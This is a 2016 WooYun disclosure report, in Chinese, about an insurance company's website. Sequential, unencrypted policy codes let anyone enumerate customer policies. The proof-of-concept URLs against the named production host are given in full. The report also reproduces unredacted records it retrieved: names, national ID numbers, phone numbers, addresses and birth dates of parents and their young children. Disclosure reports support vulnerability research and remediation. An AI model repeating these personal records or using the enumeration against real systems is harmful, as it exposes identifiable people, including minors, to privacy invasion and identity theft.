长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏(任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/)

编号215487
Urlhttp://www.wooyun.org/bug.php?action=view&id=215487
漏洞状态厂商已经确认
漏洞标题长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏(任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/)
漏洞类型敏感信息泄露
厂商ecaic.com
白帽子0x 80
提交日期2016-06-02 18:36:00
公开日期2016-07-17 21:20:00
修复时间(not set)
确认时间2016-06-02 00:00:00
Confirm Spend0
漏洞标签敏感信息泄露 错误信息未屏蔽 用户敏感信息泄漏
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank10
漏洞简介
长安责任保险股份有限公司某站未授权访问导致上万用户敏感信息泄漏(任意查询客户保单/姓名/身份证/通讯地址/出生日期/电话/保险卡号/)
漏洞细节

http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503641
其中prpCmainCode未加密
可以直接+1逻辑任意查询

投保人信息
姓名 鲁生亮 与被保险人关系 父亲
证件号码 370681198404306411 联系电话 15154523777
通讯地址 山东省龙口市石良镇鲁家沟村58号 邮政编码
被保险人信息
姓名 鲁珈宁 性别 女 年龄 0
出生日期 2014-03-25 证件号码 370681201403256824
所在学校/幼儿园 婴幼儿 班级 婴幼儿 参加基本医疗 是
健康状况 良好 健康状况说明
保险期限 2014年05月24日零时起至2015年05月23日二十四时止


捕获.GIF


http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503642
http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503642

财富长安宝宝卡
电子保单号码:627572014400080503642 保险卡号: 2013008509
投保人信息
姓名 谭晶予 与被保险人关系 母亲
证件号码 37060219821201104X 联系电话 18663866870
通讯地址 山东省烟台市四季花城 邮政编码 264000
被保险人信息
姓名 孔令州 性别 男 年龄 3
出生日期 2011-05-17 证件号码 37060220110517071X
所在学校/幼儿园 烟台市四季花城幼儿园 班级 托一 参加基本医疗 是
健康状况 良好 健康状况说明
保险期限 2014年05月24日零时起至2015年05月23日二十四时止
保障方案


捕获999.GIF


http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503643


捕获99999.GIF


POC

http://www.ecaic.com:8070/cardactiverenshen/prpCmainAction.do?action=printPrpCmainContent&prpCmainCode=627572014400080503641
其中prpCmainCode未加密
可以直接+1逻辑任意查询

修复方案

状态信息 2016-06-02: 细节已通知厂商并且等待厂商处理中
2016-06-02: 厂商已经确认,细节仅向厂商公开
2016-06-12: 细节向核心白帽子及相关领域专家公开
2016-06-22: 细节向普通白帽子公开
2016-07-02: 细节向实习白帽子公开
2016-07-17: 细节向公众公开
厂商回复感谢白帽子,感谢乌云
回应信息危害等级:中漏洞Rank:10 确认时间:2016-06-02 21:16